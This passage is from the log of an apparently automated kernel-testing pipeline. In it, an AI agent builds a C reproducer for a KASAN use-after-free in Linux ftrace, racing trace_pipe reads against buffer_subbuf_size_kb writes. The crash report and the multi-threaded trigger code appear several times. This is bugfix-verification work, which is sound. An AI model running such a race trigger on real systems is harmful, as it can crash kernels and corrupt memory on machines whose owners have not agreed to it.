This confirms that my assumption about focusing on `sys_enter` events was correct. My previous approach of enabling *all* events, which included this mechanism:
```c
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
}
```
is still relevant and should be included.
Now, to refine the reproducer and ensure I reliably trigger this race condition. I'll leverage multiple threads for both reading the trace pipe and writing the size to amplify the probability of hitting the race. Forcing context switches is key. While pinning threads to the same CPU might be an option, the bug report indicates CPU 0 was involved, suggesting concurrent execution is critical. The core of the race is indeed between reading the pipe and altering the sub-buffer size.
I need to confirm how `ring_buffer_subbuf_order_set` (which is called by `buffer_subbuf_size_write`) impacts the system. Does it affect all CPUs or a specific one? The documentation or a quick test would clarify, but the fact that `buffer_subbuf_size_kb` is the file being written to suggests it's a system-wide or at least per-CPU setting that's globally managed in this context. My understanding is that writing to `buffer_subbuf_size_kb` affects all CPUs.
Based on this, I've drafted the final C reproducer. It incorporates the event enabling, multiple readers, multiple size writers, and the syscall generation. The bug report also specifically mentions `page last allocated via order 0` and `ring_buffer_subbuf_order_set` followed by `buffer_subbuf_size_write`, which strongly implicates the size change mechanism as the direct trigger. The goal is simply to output this C code, as it encapsulates the refined strategy.
|
| 151/3 |
2026/08/12 02:40 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the feedback confirms that the required tracing files are accessible, and the capability probe was successful. The environment is fully prepared for the reproducer.
The strategy remains the same: we will create a multi-threaded C program to maximize the race window between reading from the `trace_pipe` and modifying the `buffer_subbuf_size_kb`. To increase the likelihood of triggering the Use-After-Free, we will spawn multiple threads for both reading the pipe and changing the sub-buffer size, while continuously generating `sys_enter` events by calling `getpid()` in a loop.
Here is the complete C reproducer.
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
perror("write events/enable");
}
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3, t4, t5;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_create(&t4, NULL, read_pipe, NULL);
pthread_create(&t5, NULL, write_size, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
return 0;
}
```]
|
| 152/3 |
2026/08/12 02:40 |
agent |
repro-generator |
0m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: use-after-free Read in ignore_event
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
Read of size 2 at addr ffff88804705a1ac by task syz.6.1383/11771
CPU: 0 UID: 0 PID: 11771 Comm: syz.6.1383 Tainted: G S syzkaller #0 PREEMPT(full)
Tainted: [S]=CPU_OUT_OF_SPEC
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
Strategy: An analysis of the feedback confirms that the required tracing files are accessible, and the capability probe was successful. The environment is fully prepared for the reproducer.
The strategy remains the same: we will create a multi-threaded C program to maximize the race window between reading from the `trace_pipe` and modifying the `buffer_subbuf_size_kb`. To increase the likelihood of triggering the Use-After-Free, we will spawn multiple threads for both reading the pipe and changing the sub-buffer size, while continuously generating `sys_enter` events by calling `getpid()` in a loop.
Here is the complete C reproducer.
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
perror("write events/enable");
}
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3, t4, t5;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_create(&t4, NULL, read_pipe, NULL);
pthread_create(&t5, NULL, write_size, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
return 0;
}
```
Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main(void) {
int fd;
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/events/enable successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/trace_pipe: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/trace_pipe successfully.\n");
close(fd);
fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open /sys/kernel/tracing/buffer_subbuf_size_kb: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /sys/kernel/tracing/buffer_subbuf_size_kb successfully.\n");
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
Execution Results & Debugging Feedback:
The capability probe was successful. All required files in /sys/kernel/tracing/ were opened successfully. The environment is ready. Please proceed to generate the full reproducer in the next iteration.
|
| 153/4 |
2026/08/12 02:40 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 6659
output: 34
thoughts: 577
Thoughts: **My Thought Process for Reproducing the KASAN Use-After-Free**
My primary objective here is to craft a reliable reproducer for a specific KASAN use-after-free vulnerability. The bug is situated within the `ignore_event` function in `kernel/trace/trace.c`. I understand that this vulnerability manifests as a race condition occurring when the `trace_pipe` is being read concurrently with modifications to `buffer_subbuf_size_kb`.
Initially, I encountered some confusion regarding the prompt's structure. It mentioned a "previous attempt" that was described as a probe program, followed by an assertion that a "complete C reproducer" was provided. This seemed contradictory, as I, the model, am tasked with *generating* the full reproducer. I deduced that the provided snippet was likely context or a partial example, not the final solution I need to produce. My task is to build the *entire* reproducer.
To proceed, I need to thoroughly understand the bug's mechanics. The traceback points to a race between `tracing_read_pipe` and `buffer_subbuf_size_write`. Specifically, `tracing_read_pipe` interacts with `trace_pipe`, while `buffer_subbuf_size_write` modifies `buffer_subbuf_size_kb`. The prompt also confirms that trace events, like `sys_enter`, are being generated, which is crucial for populating the trace buffer that `tracing_read_pipe` will attempt to read.
My strategy, therefore, centers on exploiting this race. I need to create a multi-threaded C program that can simultaneously:
1. **Generate Trace Events:** This ensures there's data to read from the `trace_pipe`. I'll likely trigger system calls, as indicated by the `sys_enter` event in the traceback.
2. **Read from `trace_pipe`:** One or more threads will be dedicated to continuously reading from `trace_pipe`. This is the operation that triggers the `tracing_read_pipe` function.
3. **Modify `buffer_subbuf_size_kb`:** Another thread will concurrently write to `buffer_subbuf_size_kb`. This is the operation that triggers `buffer_subbuf_size_write`.
The goal is to maximize the window of opportunity for the race to occur. By having these operations run in parallel, I aim to trigger the scenario where `tracing_read_pipe` attempts to access memory that has been invalidated or is in an inconsistent state due to the write to `buffer_subbuf_size_kb`, leading to the use-after-free.
To facilitate this, I will leverage standard Linux system programming interfaces. I will likely use `pthread` for thread management, `open` and `read` for interacting with the trace files, and `write` to modify the buffer size parameter. I'll also need to understand how to access and manipulate the relevant tracefs entries (e.g., `/sys/kernel/tracing/trace_pipe`, `/sys/kernel/tracing/buffer_subbuf_size_kb`).
My next step involves translating this strategy into actual C code, carefully orchestrating the threads and their interactions to reliably expose the KASAN report.
|
| 154/4 |
2026/08/12 02:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/trace/trace.c Name:ignore_event]
Results: map[SourceCode:2496: /**
2497: * ignore_event - Check dereferenced fields while writing to the seq buffer
2498: * @iter: The iterator that holds the seq buffer and the event being printed
2499: *
2500: * At boot up, test_event_printk() will flag any event that dereferences
2501: * a string with "%s" that does exist in the ring buffer. It may still
2502: * be valid, as the string may point to a static string in the kernel
2503: * rodata that never gets freed. But if the string pointer is pointing
2504: * to something that was allocated, there's a chance that it can be freed
2505: * by the time the user reads the trace. This would cause a bad memory
2506: * access by the kernel and possibly crash the system.
2507: *
2508: * This function will check if the event has any fields flagged as needing
2509: * to be checked at runtime and perform those checks.
2510: *
2511: * If it is found that a field is unsafe, it will write into the @iter->seq
2512: * a message stating what was found to be unsafe.
2513: *
2514: * @return: true if the event is unsafe and should be ignored,
2515: * false otherwise.
2516: */
2517: bool ignore_event(struct trace_iterator *iter)
2518: {
2519: struct ftrace_event_field *field;
2520: struct trace_event *trace_event;
2521: struct trace_event_call *event;
2522: struct list_head *head;
2523: struct trace_seq *seq;
2524: const void *ptr;
2525:
2526: trace_event = ftrace_find_event(iter->ent->type);
2527:
2528: seq = &iter->seq;
2529:
2530: if (!trace_event) {
2531: trace_seq_printf(seq, "EVENT ID %d NOT FOUND?\n", iter->ent->type);
2532: return true;
2533: }
2534:
2535: event = container_of(trace_event, struct trace_event_call, event);
2536: if (!(event->flags & TRACE_EVENT_FL_TEST_STR))
2537: return false;
2538:
2539: head = trace_get_fields(event);
2540: if (!head) {
2541: trace_seq_printf(seq, "FIELDS FOR EVENT '%s' NOT FOUND?\n",
2542: trace_event_name(event));
2543: return true;
2544: }
2545:
2546: /* Offsets are from the iter->ent that points to the raw event */
2547: ptr = iter->ent;
2548:
2549: list_for_each_entry(field, head, link) {
2550: const char *str;
2551: bool good;
2552:
2553: if (!field->needs_test)
2554: continue;
2555:
2556: str = *(const char **)(ptr + field->offset);
2557:
2558: good = trace_safe_str(iter, str);
2559:
2560: /*
2561: * If you hit this warning, it is likely that the
2562: * trace event in question used %s on a string that
2563: * was saved at the time of the event, but may not be
2564: * around when the trace is read. Use __string(),
2565: * __assign_str() and __get_str() helpers in the TRACE_EVENT()
2566: * instead. See samples/trace_events/trace-events-sample.h
2567: * for reference.
2568: */
2569: if (WARN_ONCE(!good, "event '%s' has unsafe pointer field '%s'",
2570: trace_event_name(event), field->name)) {
2571: trace_seq_printf(seq, "EVENT %s: HAS UNSAFE POINTER FIELD '%s'\n",
2572: trace_event_name(event), field->name);
2573: return true;
2574: }
2575: }
2576: return false;
2577: }
SourceFile:kernel/trace/trace.c]
|
| 155/4 |
2026/08/12 02:40 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 8538
output: 1095
thoughts: 1205
Thoughts: **My Thoughts on Triggering a Kernel Use-After-Free in Ftrace**
Okay, so I've been looking at this crash report. It's pointing to `kernel/trace/trace.c:2526`, specifically this line: `trace_event = ftrace_find_event(iter->ent->type);`. Now, the problem seems to stem from `iter->ent` being a pointer to a raw event, and if that memory has already been freed, accessing `iter->ent->type` will indeed cause a use-after-free (UAF).
The root cause of the memory being freed is identified as `free_buffer_page` within `ring_buffer_subbuf_order_set`. This freeing action occurs when `buffer_subbuf_size_kb` is written to. The memory that gets freed was initially allocated by `__rb_allocate_pages` in `ring_buffer_resize`. And `ring_buffer_resize` itself gets called by `tracing_update_buffers` when either `events/enable` is written to, or when `buffer_size_kb` is written to.
But then I had a slight re-think. The UAF isn't directly on `iter->ent` itself in the sense of it pointing to an invalid `struct trace_event`. Instead, it's more nuanced: `iter->ent` points to a trace event that resides *within a ring buffer page*. If this ring buffer page gets freed while `tracing_read_pipe` is actively processing it (reading from the `/sys/kernel/tracing/trace_pipe`), *that's* when the UAF occurs. `tracing_read_pipe` is the function responsible for reading data that's being collected by the tracing subsystem.
Looking at the provided reproducer code snippet, it seems remarkably close to what's needed to trigger this race condition. It sets up three threads:
1. `read_pipe`: This thread continuously reads from `/sys/kernel/tracing/trace_pipe`.
2. `write_size`: This thread repeatedly writes "4\n" and "8\n" to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This is the critical part that triggers the `free_buffer_page` mentioned earlier, as it modifies the sub-buffer size. Alternating between sizes maximizes the chance of getting the buffer in a state where a page is freed while it's still being accessed.
3. `do_syscalls`: This thread hammers the system with `syscall(SYS_getpid)`, generating `sys_enter` events. These events are what fill the ring buffers, making it more likely that `tracing_read_pipe` will be active when the sub-buffer size changes.
Now, I noticed the prompt itself contained the phrase "Here is the complete C reproducer." This made me pause for a moment, wondering if I was supposed to simply present the provided code. However, re-reading the preceding text, it became clear that the prompt was describing a *strategy* and then presenting a *potential* reproducer based on that strategy. My task is to *formulate* the reproducer based on the analysis and the described strategy.
So, my plan is to construct a C program using `pthread` that implements this multi-threaded approach. I need to:
* Ensure the program is compilable and has robust error checking.
* Make sure it runs for a sufficient duration to increase the probability of hitting the race.
* Before launching the threads, I need to enable tracing. The stack trace mentions `trace_raw_output_sys_enter` within `include/trace/events/syscalls.h`, indicating that system call enter events are being traced. The original strategy mentioned writing to `events/enable`, which enables all events. While this would work, it might be overkill and potentially slow down the system too much. A more targeted approach would be to enable just the syscall events, for instance, by writing "1" to `/sys/kernel/tracing/events/syscalls/enable`. However, since the prompt explicitly mentioned `events/enable` in the strategy, and given that syscalls are indeed being traced, I'll stick with enabling `events/enable` for now, as it's what was proposed, but I'll keep in mind that a more precise enablement might be better in practice.
My next step is to translate this strategy and analysis into a well-formed, functional C reproducer. I'll focus on setting up the threads precisely as described to maximize the race window.
|
| 156/4 |
2026/08/12 02:41 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
]
|
